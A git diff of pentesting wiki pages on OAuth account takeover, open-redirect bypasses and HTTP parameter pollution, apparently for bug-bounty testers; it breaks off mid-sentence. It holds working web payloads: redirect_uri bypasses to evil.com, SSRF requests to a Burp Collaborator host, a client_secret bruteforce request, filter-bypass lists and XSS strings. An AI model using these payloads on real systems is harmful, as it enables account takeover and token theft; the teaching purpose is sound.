[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection) - diff --git a/pentesting-web/oauth-to-account-takeover.md b/pentesting-web/oauth-to-account-takeover.md index 3cee794e..a74e83ee 100644 --- a/pentesting-web/oauth-to-account-takeover.md +++ b/pentesting-web/oauth-to-account-takeover.md @@ -1,10 +1,10 @@ # OAuth to Account takeover -## “Quick” Primer +## “Quick” Primer -There are a couple different versions, as well as grant types to consider when we talk about OAuth. To read about these, I recommend reading through [https://oauth.net/2/](https://oauth.net/2/) to get a baseline understanding. In this article, we will be focusing on the most common flow that you will come across today, which is the [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/). In essence, OAuth provides developers an authorization mechanism to allow an application to access data or perform certain actions against your account, from another application \(the authorization server\). +There are a couple different versions, as well as grant types to consider when we talk about OAuth. To read about these, I recommend reading through [https://oauth.net/2/](https://oauth.net/2/) to get a baseline understanding. In this article, we will be focusing on the most common flow that you will come across today, which is the [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/). In essence, OAuth provides developers an authorization mechanism to allow an application to access data or perform certain actions against your account, from another application (the authorization server). -For example, let’s say website [https://yourtweetreader.com](https://yourtweetreader.com/) has functionality to display all tweets you’ve ever sent, including private tweets. In order to do this, OAuth 2.0 is introduced. [https://yourtweetreader.com](https://yourtweetreader.com/) will ask you to authorize their Twitter application to access all your Tweets. A consent page will pop up on [https://twitter.com](https://twitter.com/) displaying what permissions are being requested, and who the developer requesting it is. Once you authorize the request, [https://yourtweetreader.com](https://yourtweetreader.com/) will be able to access to your Tweets on behalf of you. Now, this was very high level, and there’s some complexity here. Taking this example, here’s a bit more details on the particular elements which are important to understand in an OAuth 2.0 context: +For example, let’s say website [https://yourtweetreader.com](https://yourtweetreader.com) has functionality to display all tweets you’ve ever sent, including private tweets. In order to do this, OAuth 2.0 is introduced. [https://yourtweetreader.com](https://yourtweetreader.com) will ask you to authorize their Twitter application to access all your Tweets. A consent page will pop up on [https://twitter.com](https://twitter.com) displaying what permissions are being requested, and who the developer requesting it is. Once you authorize the request, [https://yourtweetreader.com](https://yourtweetreader.com) will be able to access to your Tweets on behalf of you. Now, this was very high level, and there’s some complexity here. Taking this example, here’s a bit more details on the particular elements which are important to understand in an OAuth 2.0 context: **resource owner**: The `resource owner` is the user/entity granting access to their protected resource, such as their Twitter account Tweets @@ -12,34 +12,34 @@ For example, let’s say website [https://yourtweetreader.com](https://yourtweet **client application**: The `client application` is the application requesting authorization from the `resource owner`. In this example, this would be https://yourtweetreader.com. -**authorization server**: The `authorization server` is the server issuing `access tokens` to the `client application` after successfully authenticating the `resource owner` and obtaining authorization. In the above example, this would be [https://twitter.com](https://twitter.com/) +**authorization server**: The `authorization server` is the server issuing `access tokens` to the `client application` after successfully authenticating the `resource owner` and obtaining authorization. In the above example, this would be [https://twitter.com](https://twitter.com) -**client\_id**: The `client_id` is the identifier for the application. This is a public, non-secret unique identifier. +**client_id**: The `client_id` is the identifier for the application. This is a public, non-secret unique identifier. -**client\_secret:** The `client_secret` is a secret known only to the application and the authorization server. This is used to generate `access_tokens` +**client_secret: **The `client_secret` is a secret known only to the application and the authorization server. This is used to generate `access_tokens` -**response\_type**: The `response_type` is a value to detail which type of token is being requested, such as `code` +**response_type**: The `response_type` is a value to detail which type of token is being requested, such as `code` **scope**: The `scope` is the requested level of access the `client application` is requesting from the `resource owner` -**redirect\_uri**: The `redirect_uri` is the URL the user is redirected to after the authorization is complete. This usually must match the redirect URL that you have previously registered with the service +**redirect_uri**: The `redirect_uri` is the URL the user is redirected to after the authorization is complete. This usually must match the redirect URL that you have previously registered with the service **state**: The `state` parameter can persist data between the user being directed to the authorization server and back again. It’s important that this is a unique value as it serves as a CSRF protection mechanism if it contains a unique or random value per request -**grant\_type**: The `grant_type` parameter explains what the grant type is, and which token is going to be returned +**grant_type**: The `grant_type` parameter explains what the grant type is, and which token is going to be returned **code**: This `code` is the authorization code received from the `authorization server` which will be in the query string parameter “code” in this request. This code is used in conjunction with the `client_id` and `client_secret` by the client application to fetch an `access_token` -**access\_token**: The `access_token` is the token that the client application uses to make API requests on behalf of a `resource owner` +**access_token**: The `access_token` is the token that the client application uses to make API requests on behalf of a `resource owner` -**refresh\_token**: The `refresh_token` allows an application to obtain a new `access_token` without prompting the user +**refresh_token**: The `refresh_token` allows an application to obtain a new `access_token` without prompting the user Well, this was meant to be a quick primer but it seems with OAuth, you can’t simply give a brief description. Putting this all together, here is what a real OAuth flow looks like: -1. You visit [https://yourtweetreader.com](https://yourtweetreader.com/) and click the “Integrate with Twitter” button. -2. [https://yourtweetreader.com](https://yourtweetreader.com/) sends a request to [https://twitter.com](https://twitter.com/) asking you, the resource owner, to authorize https://yourtweetreader.com’s Twitter application to access your Tweets. The request will look like: +1. You visit [https://yourtweetreader.com](https://yourtweetreader.com) and click the “Integrate with Twitter” button. +2. [https://yourtweetreader.com](https://yourtweetreader.com) sends a request to [https://twitter.com](https://twitter.com) asking you, the resource owner, to authorize https://yourtweetreader.com’s Twitter application to access your Tweets. The request will look like: -```text +``` https://twitter.com/auth ?response_type=code &client_id=yourtweetreader_clientId @@ -48,59 +48,59 @@ https://twitter.com/auth &state=kasodk9d1jd992k9klaskdh123 ``` -3. You will be prompted with a consent page: +3\. You will be prompted with a consent page: -![](https://miro.medium.com/max/1215/1*y66EY3Fn2qn-NPI9nhZC7A.png) +![](https://miro.medium.com/max/1215/1\*y66EY3Fn2qn-NPI9nhZC7A.png) -4. Once accepted, Twitter will send a request back to the `redirect_uri` with the `code` and `state` parameters: +4\. Once accepted, Twitter will send a request back to the `redirect_uri` with the `code` and `state` parameters: -```text +``` https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123 ``` -5. [https://yourtweetreader.com](https://yourtweetreader.com/) will then take that `code` , and using their application’s `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to: +5\. [https://yourtweetreader.com](https://yourtweetreader.com) will then take that `code` , and using their application’s `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to: -```text +``` POST /oauth/access_token Host: twitter.com ...{"client_id": "yourtweetreader_clientId", "client_secret": "yourtweetreader_clientSecret", "code": "asd91j3jd91j92j1j9d1", "grant_type": "authorization_code"} ``` -6. Finally, the flow is complete and [https://yourtweetreader.com](https://yourtweetreader.com/) will make an API call to Twitter with your `access_token` to access your Tweets. +6\. Finally, the flow is complete and [https://yourtweetreader.com](https://yourtweetreader.com) will make an API call to Twitter with your `access_token` to access your Tweets. -## Bug Bounty Findings +## Bug Bounty Findings Now, the interesting part! There are many things that can go wrong in an OAuth implementation, here are the different categories of bugs I frequently see: -### Weak redirect\_uri configuration +### Weak redirect_uri configuration This is probably one of the more common things everyone is aware of when looking for OAuth implementation bugs. The `redirect_uri` is very important because sensitive data, such as the `code` is appended to this URL after authorization. If the `redirect_uri` can be redirected to an attacker controlled server, this means the attacker can potentially takeover a victim’s account by using the `code` themselves, and gaining access to the victim’s data. The way this is going to be exploited is going to vary by authorization server. Some will only accept the exact same `redirect_uri` path as specified in the client application, but some will accept anything in the same domain or subdirectory of the `redirect_uri` . -Depending on the logic handled by the server, there are a number of techniques to bypass a `redirect_uri` . In a situation where a `redirect_uri` is [https://yourtweetreader.com](https://yourtweetreader.com/)/callback, these include: +Depending on the logic handled by the server, there are a number of techniques to bypass a `redirect_uri` . In a situation where a `redirect_uri` is [https://yourtweetreader.com](https://yourtweetreader.com)/callback, these include: -* Open redirects: [`https://yourtweetreader.com`](https://yourtweetreader.com/)`/callback?redirectUrl=https://evil.com` +* Open redirects: [`https://yourtweetreader.com`](https://yourtweetreader.com)`/callback?redirectUrl=https://evil.com` * Path traversal: `https://yourtweetreader.com/callback/../redirect?url=https://evil.com` * Weak `redirect_uri` regexes: `https://yourtweetreader.com.evil.com` * HTML Injection and stealing tokens via referer header: `https://yourtweetreader.com/callback/home/attackerimg.jpg` -**Other parameters** that can be vulnerable to Open Redirects are: +**Other parameters **that can be vulnerable to Open Redirects are: -* **client\_uri** - URL of the home page of the client application -* **policy\_uri** - URL that the Relying Party client application provides so that the end user can read about how their profile data will be used. -* **tos\_uri** - URL that the Relying Party client provides so that the end user can read about the Relying Party's terms of service. -* **initiate\_login\_uri** - URI using the https scheme that a third party can use to initiate a login by the RP. Also should be used for client-side redirection. +* **client_uri** - URL of the home page of the client application +* **policy_uri** - URL that the Relying Party client application provides so that the end user can read about how their profile data will be used. +* **tos_uri** - URL that the Relying Party client provides so that the end user can read about the Relying Party's terms of service. +* **initiate_login_uri** - URI using the https scheme that a third party can use to initiate a login by the RP. Also should be used for client-side redirection. -All these parameters are **optional according to the OAuth and OpenID** specifications and not always supported on a particular server, so it's always worth identifying which parameters are supported on your server. +All these parameters are **optional according to the OAuth and OpenID **specifications and not always supported on a particular server, so it's always worth identifying which parameters are supported on your server. -If you target an OpenID server, the discovery endpoint at **`.well-known/openid-configuration`**sometimes contains parameters such as "_registration\_endpoint_", "_request\_uri\_parameter\_supported_", and "_require\_request\_uri\_registration_". These can help you to find the registration endpoint and other server configuration values. +If you target an OpenID server, the discovery endpoint at **`.well-known/openid-configuration`**sometimes contains parameters such as "_registration_endpoint_", "_request_uri_parameter_supported_", and "_require_request_uri_registration_". These can help you to find the registration endpoint and other server configuration values. -### SSRFs parameters +### SSRFs parameters -One of the hidden URLs that you may miss is the **Dynamic Client Registration endpoint**. In order to successfully authenticate users, OAuth servers need to know details about the client application, such as the "client\_name", "client\_secret", "redirect\_uris", and so on. These details can be provided via local configuration, but OAuth authorization servers may also have a special registration endpoint. This endpoint is normally mapped to "/register" and accepts POST requests with the following format: +One of the hidden URLs that you may miss is the **Dynamic Client Registration endpoint**. In order to successfully authenticate users, OAuth servers need to know details about the client application, such as the "client_name", "client_secret", "redirect_uris", and so on. These details can be provided via local configuration, but OAuth authorization servers may also have a special registration endpoint. This endpoint is normally mapped to "/register" and accepts POST requests with the following format: -```text +``` POST /connect/register HTTP/1.1 Content-Type: application/json Host: server.example.com @@ -122,51 +122,50 @@ Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ... -There are two specifications that define parameters in this request: [RFC7591](https://tools.ietf.org/html/rfc7591) for OAuth and [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html#rfc.section.3.1). +There are two specifications that define parameters in this request: [RFC7591](https://tools.ietf.org/html/rfc7591) for OAuth and [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1\_0.html#rfc.section.3.1). As you can see here, a number of these values are passed in via URL references and look like potential targets for [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). At the same time, most servers we've tested do not resolve these URLs immediately when they receive a registration request. Instead, they just save these parameters and use them later during the OAuth authorization flow. In other words, this is more like a second-order SSRF, which makes black-box detection harder. The following parameters are particularly interesting for SSRF attacks: -* **logo\_uri** - URL that references a logo for the client application. After you register a client, you can try to call the OAuth authorization endpoint \("/authorize"\) using your new "client\_id". After the login, the server will ask you to approve the request and may display the image from the "logo\_uri". If the server fetches the image by itself, the SSRF should be triggered by this step. Alternatively, the server may just include the logo via a client-side "<img>" tag. Although this doesn't lead to SSRF, it may lead to Cross Site Scripting if the URL is not escaped. -* **jwks\_uri** - URL for the client's JSON Web Key Set \[JWK\] document. This key set is needed on the server for validating signed requests made to the token endpoint when using JWTs for client authentication \[RFC7523\]. In order to test for SSRF in this parameter, register a new client application with a malicious "jwks\_uri", perform the authorization process to obtain an authorization code for any user, and then fetch the "/token" endpoint with the following body: +* **logo_uri** - URL that references a logo for the client application. After you register a client, you can try to call the OAuth authorization endpoint ("/authorize") using your new "client_id". After the login, the server will ask you to approve the request and may display the image from the "logo_uri". If the server fetches the image by itself, the SSRF should be triggered by this step. Alternatively, the server may just include the logo via a client-side "\" tag. Although this doesn't lead to SSRF, it may lead to Cross Site Scripting if the URL is not escaped. +* **jwks_uri** - URL for the client's JSON Web Key Set \[JWK] document. This key set is needed on the server for validating signed requests made to the token endpoint when using JWTs for client authentication \[RFC7523]. In order to test for SSRF in this parameter, register a new client application with a malicious "jwks_uri", perform the authorization process to obtain an authorization code for any user, and then fetch the "/token" endpoint with the following body:\ - `POST /oauth/token HTTP/1.1 - ... - - grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...` + `POST /oauth/token HTTP/1.1`\ + `...`\ + ``\ + `grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...` - If vulnerable, the server should perform a server-to-server HTTP request to the supplied "jwks\_uri" because it needs this key to check the validity of the "client\_assertion" parameter in your request. This will probably only be a [blind SSRF](https://portswigger.net/web-security/ssrf/blind) vulnerability though, as the server expects a proper JSON response. + If vulnerable, the server should perform a server-to-server HTTP request to the supplied "jwks_uri" because it needs this key to check the validity of the "client_assertion" parameter in your request. This will probably only be a [blind SSRF](https://portswigger.net/web-security/ssrf/blind) vulnerability though, as the server expects a proper JSON response. +* **sector_identifier_uri** - This URL references a file with a single JSON array of redirect_uri values. If supported, the server may fetch this value as soon as you submit the dynamic registration request. If this is not fetched immediately, try to perform authorization for this client on the server. As it needs to know the redirect_uris in order to complete the authorization flow, this will force the server to make a request to your malicious sector_identifier_uri. +* **request_uris** - An array of the allowed request_uris for this client. The "request_uri" parameter may be supported on the authorization endpoint to provide a URL that contains a JWT with the request information (see [https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2)). -* **sector\_identifier\_uri** - This URL references a file with a single JSON array of redirect\_uri values. If supported, the server may fetch this value as soon as you submit the dynamic registration request. If this is not fetched immediately, try to perform authorization for this client on the server. As it needs to know the redirect\_uris in order to complete the authorization flow, this will force the server to make a request to your malicious sector\_identifier\_uri. -* **request\_uris** - An array of the allowed request\_uris for this client. The "request\_uri" parameter may be supported on the authorization endpoint to provide a URL that contains a JWT with the request information \(see [https://openid.net/specs/openid-connect-core-1\_0.html\#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2)\). - - Even if dynamic client registration is not enabled, or it requires authentication, we can try to perform SSRF on the authorization endpoint simply by using "request\_uri": + Even if dynamic client registration is not enabled, or it requires authentication, we can try to perform SSRF on the authorization endpoint simply by using "request_uri":\ - `GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt` + `GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt` - Note: do not confuse this parameter with "redirect\_uri". The "redirect\_uri" is used for redirection after authorization, whereas "request\_uri" is fetched by the server at the start of the authorization process. + Note: do not confuse this parameter with "redirect_uri". The "redirect_uri" is used for redirection after authorization, whereas "request_uri" is fetched by the server at the start of the authorization process. - At the same time, many servers we've seen do not allow arbitrary "request\_uri" values: they only allow whitelisted URLs that were pre-registered during the client registration process. That's why we need to supply "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" beforehand. + At the same time, many servers we've seen do not allow arbitrary "request_uri" values: they only allow whitelisted URLs that were pre-registered during the client registration process. That's why we need to supply "request_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" beforehand. -### CSRF - Attack 'Connect' Request +### CSRF - Attack 'Connect' Request -An **attacker** may **start** the **Connect** process from a dummy account with a provider and **stops** the process **before** the **redirect**. -Then, he may create a malicious web application that abusing a **CSRF** may **logout** the **victim** from the **Provider**. Then, with another **CSRF**, he **logs in the victim** inside the Provider with the **attackers** **dummy** **account** inside the **Provider**. And finally, being the **victim** **logged** inside the **application** as **his** **user** and **inside** the **provider** **as** the **attacker**, the attacker **sends** a final **HTTP** request with the **redirect** that was stopped at the begging, so the **attackers dummy account** with the provider is **linked** with the **victims** **account** of the **application**. +An **attacker** may **start** the **Connect** process from a dummy account with a provider and **stops** the process **before** the **redirect**.\ +Then, he may create a malicious web application that abusing a **CSRF** may **logout** the **victim** from the **Provider**. Then, with another **CSRF**, he **logs in the victim** inside the Provider with the **attackers** **dummy** **account** inside the** Provider**. And finally, being the **victim** **logged** inside the **application** as **his** **user** and **inside** the **provider** **as** the **attacker**, the attacker **sends** a final **HTTP** request with the **redirect** that was stopped at the begging, so the** attackers dummy account** with the provider is **linked** with the **victims** **account** of the **application**. -### Improper handling of state parameter +### Improper handling of state parameter This is by far the most common issue I see in OAuth implementations. Very often, the **`state` parameter is completely omitted or used in the wrong way**. If a state parameter is nonexistent, or a static value that never changes, the OAuth flow will very likely be vulnerable to CSRF. Sometimes, even if there is a `state` parameter, the application might not do any validation of the parameter and an attack will work. The way to exploit this would be to go through the authorization process on your own account, and pause right after authorizing. You will then come across a request such as: -```text +``` https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1 ``` -After you receive this request, you can then **drop the request because these codes are typically one-time use**. You can then send this URL to a **logged-in user, and it will add your account to their account**. At first, this might not sound very sensitive since you are simply adding your account to a victim’s account. However, many OAuth implementations are for sign-in purposes, so if you can add your Google account which is used for logging in, you could potentially perform an **Account Takeover** with a single click as logging in with your Google account would give you access to the victim’s account. +After you receive this request, you can then **drop the request because these codes are typically one-time use**. You can then send this URL to a** logged-in user, and it will add your account to their account**. At first, this might not sound very sensitive since you are simply adding your account to a victim’s account. However, many OAuth implementations are for sign-in purposes, so if you can add your Google account which is used for logging in, you could potentially perform an **Account Takeover **with a single click as logging in with your Google account would give you access to the victim’s account. -You can find an **example** about this in this [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes_surfer.md) and in the **HTB box called Oouch**. +You can find an **example **about this in this [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes_surfer.md) and in the** HTB box called Oouch**. I’ve also seen the state parameter used as an additional redirect value several times. The application will use `redirect_uri` for the initial redirect, but then the `state` parameter as a second redirect which could contain the `code` within the query parameters, or referer header. @@ -176,18 +175,18 @@ One important thing to note is this doesn’t just apply to logging in and accou * Stripe integrations allowing an attacker to overwrite payment info and accept payments from the victim’s customers * PayPal integrations allowing an attacker to add their PayPal account to the victim’s account, which would deposit money to the attacker’s PayPal -### Assignment of accounts based on email address +### Assignment of accounts based on email address One of the other more common issues I see is when applications allow “Sign in with X” but also username/password. There are 2 different ways to attack this: 1. If the application does not require email verification on account creation, try creating an account with a victim’s email address and attacker password before the victim has registered. If the victim then tries to register or sign in with a third party, such as Google, it’s possible the application will do a lookup, see that email is already registered, then link their Google account to the attacker created account. This is a “pre account takeover” where an attacker will have access to the victim’s account if they created it prior to the victim registering. 2. If an OAuth app does not require email verification, try signing up with that OAuth app with a victim’s email address. The same issue as above could exist, but you’d be attacking it from the other direction and getting access to the victim’s account for an account takeover. -### Disclosure of Secrets +### Disclosure of Secrets It’s very important to recognize which of the many OAuth parameters are secret, and to protect those. For example, leaking the `client_id` is perfectly fine and necessary, but leaking the `client_secret` is dangerous. If this is leaked, the attacker can potentially use the trust and identity of the trusted client application to steal user `access_tokens` and private information/access for their integrated accounts. Going back to our earlier example, one issue I’ve seen is performing this step from the client, instead of the server: -5. [https://yourtweetreader.com](https://yourtweetreader.com/) will then take that `code` , and using their application’s `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to. +5\. [https://yourtweetreader.com](https://yourtweetreader.com) will then take that `code` , and using their application’s `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to. If this is done from the client, the `client_secret` will be leaked and users will be able to generate `access_tokens` on behalf of the application. With some social engineering, they can also add more scopes to the OAuth authorization and it will all appear legitimate as the request will come from the trusted client application. @@ -209,10 +208,10 @@ If you can get the authorization code and use it with a different client then yo ### Client Secret Bruteforce -You can try to **bruteforce the client\_secret** of a service provider with the identity provider in order to be try to steal accounts. +You can try to **bruteforce the client_secret **of a service provider with the identity provider in order to be try to steal accounts.\ The request to BF may look similar to: -```text +``` POST /token HTTP/1.1 content-type: application/x-www-form-urlencoded host: 10.10.10.10:3000 @@ -222,16 +221,15 @@ Connection: close code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce] ``` -## Closing +## Closing There’s plenty of other attacks and things that can go wrong in an OAuth implementation, but these are some of the more common ones that you will see. These misconfigurations are surprisingly common, and a very large quantity of bugs come from these. I intended to keep the “Quick Primer” rather short, but quickly realized all of the knowledge was necessary for the rest of the post. Given this, it makes sense that most developers aren’t going to know all the details for implementing securely. More often than not, these issues are high severity as it involves private data leak/manipulation and account takeovers. I’d like to go into more detail in each of these categories at some point, but wanted this to serve as a general introduction and give ideas for things to look out for! ## OAuth providers Race Conditions -If the platform you are testing is an OAuth provider ****[**read this to test for possible Race Conditions**](race-condition.md). +If the platform you are testing is an OAuth provider** **[**read this to test for possible Race Conditions**](race-condition.md). ## References -* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)\*\*\*\* -* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)\*\*\*\* - +* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)**** +* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)**** diff --git a/pentesting-web/open-redirect.md b/pentesting-web/open-redirect.md index 570c2766..0f9a2baa 100644 --- a/pentesting-web/open-redirect.md +++ b/pentesting-web/open-redirect.md @@ -6,7 +6,7 @@ Using a whitelisted domain or keyword -```text +``` www.whitelisted.com.evil.com redirect to evil.com https://www.target01.com//example.com/ redirect to //example.com/ https://www.target01.com%09.example.com redirect to example.com @@ -15,69 +15,69 @@ https://www.target01.com%252e.example.com redirect to example.com Using "//" to bypass "http" blacklisted keyword -```text +``` //google.com ``` Using "https:" to bypass "//" blacklisted keyword -```text +``` https:google.com ``` -Using "//" to bypass "//" blacklisted keyword \(Browsers see // as //\) +Using "//" to bypass "//" blacklisted keyword (Browsers see // as //) -```text +``` \/\/google.com/ /\/google.com/ ``` -Using "/\" to bypass: +Using "/\\" to bypass: -```text +``` /\google.com ``` Using "%E3%80%82" to bypass "." blacklisted character -```text +``` //google%E3%80%82com ``` Using null byte "%00" to bypass blacklist filter -```text +``` //google%00.com ``` Using parameter pollution -```text +``` ?next=whitelisted.com&next=google.com ``` Using "@" character, browser will redirect to anything after the "@" -```text +``` http://www.theirsite.com@yoursite.com/ ``` Creating folder as their domain -```text +``` http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com ``` XSS from Open URL - If it's in a JS variable -```text +``` ";alert(0);// ``` XSS from data:// wrapper -```text +``` http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg== ``` @@ -103,13 +103,13 @@ IP formats You can also mix the different IP formats: -![](../.gitbook/assets/image%20%28510%29.png) +![](<../.gitbook/assets/image (503).png>) You can play with the different IP formats in [https://www.silisoftware.com/tools/ipconverter.php](https://www.silisoftware.com/tools/ipconverter.php) Parsing -```text +``` http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ @@ -166,7 +166,7 @@ javascript://whitelisted.com?%a0alert%281%29 ### More domain bypasses -```text +``` <>//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ //;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ /////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/ @@ -674,7 +674,7 @@ xmlns="http://www.w3.org/2000/svg"> ## Common injection parameters -```text +``` /{payload} ?next={payload} ?url={payload} @@ -779,7 +779,6 @@ exit; ## Resources -In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists. -[https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) +In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\ +[https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\ [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - diff --git a/pentesting-web/parameter-pollution.md b/pentesting-web/parameter-pollution.md index 3487b583..66274dde 100644 --- a/pentesting-web/parameter-pollution.md +++ b/pentesting-web/parameter-pollution.md @@ -1,10 +1,10 @@ # Parameter Pollution -**Copied from** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)\*\*\*\* +**Copied from **[**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)**** **Summary :** -HTTP Parameter Pollution \(HPP\) means to pollute the HTTP parameters of a web application for achieving a specific malicious task. It refers to manipulating how a website treats parameters it receives during HTTP requests. It changes a website’s behaviour from its intended one. HTTP +HTTP Parameter Pollution (HPP) means to pollute the HTTP parameters of a web application for achieving a specific malicious task. It refers to manipulating how a website treats parameters it receives during HTTP requests. It changes a website’s behaviour from its intended one. HTTP\ parameter pollution is a simple kind of attack but it is an effective one. When you pollute any parameter the code runs only on the server-side which is invisible to use, but we can see the results on our screen. The process in between is a black box. @@ -15,17 +15,17 @@ For example, there is a URL https://www.anybank.com/send which has three paramet 2. to : 3. amount : -**URL : https://www.anybank.com/send/?from=accountA&to=accountB&amount=10000** +**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000** Now this is a normal URL which will proceed a transaction of 10000 from accountA to accountB but what if we add another same parameter **“from :”** -So the URL will be like **https://www.anybank.com/send/?from=accountA&to=accountB&amount=10000&from=accountC** +So the URL will be like **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC** When this URL will be proceed a transaction of 10000 it will be deducted from accountC rather than accountA. This is how you manipulate the parameters in **HTTP Parameter Pollution** attack. Although the scope of this vulnerability is not limited only to **GET** request you can also perform this attack on a **POST** based request. You can try this vulnerability on many places like password change, 2FA, comments, profile photo upload, on a parameter where API key is passed, OTP etc. When you manipulate any parameter, it’s manipulation depends on how each web technology is parsing their parameters. You can identify web technologies using “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. Below is the screenshot of some technologies and their parameter parsing.Technologies and their parameter parsing -![Image for post](https://miro.medium.com/max/1760/1*POs4sP0fQVlPvTH9vw1U-A.jpeg) +![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg) I would like to share one of my finding of HPP where I was able to take over an account using this vulnerability. @@ -35,23 +35,22 @@ I would like to share one of my finding of HPP where I was able to take over an Send OTP -![Image for post](https://miro.medium.com/max/600/1*s-M09yWBylPVEhA6_e0nSw.jpeg) +![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg) -2. I typed an email and clicked on “Send One Time Password” +2\. I typed an email and clicked on “Send One Time Password” -3. I intercepted the request using burp suite and added another email by using same parameter \(I created two emails for testing purpose\)Burp Request +3\. I intercepted the request using burp suite and added another email by using same parameter (I created two emails for testing purpose)Burp Request -![Image for post](https://miro.medium.com/max/1737/1*z_RpnZyKHLn6B4Lz4ONT3Q.png) +![Image for post](https://miro.medium.com/max/1737/1\*z_RpnZyKHLn6B4Lz4ONT3Q.png) -4. I received an OTP of shrey……@gmail.com to my another account radhika…..@gmail.com OTP +4\. I received an OTP of shrey……@gmail.com to my another account radhika…..@gmail.com OTP -![Image for post](https://miro.medium.com/max/784/1*a671GrRtiMYfLUL7nURD8Q.png) +![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png) -5. I copied the OTP and went to shrey….@gmail.com on that program’s login screen, I entered this OTP and I was in the account.Account Take Over +5\. I copied the OTP and went to shrey….@gmail.com on that program’s login screen, I entered this OTP and I was in the account.Account Take Over -![Image for post](https://miro.medium.com/max/1698/1*Ux-ILfCr_Mk_xmzzsXwNnA.jpeg) +![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr_Mk_xmzzsXwNnA.jpeg) So what happened here is the back-end application took the value of first “**email**” parameter to generate an OTP and used the value of second “**email**” parameter to 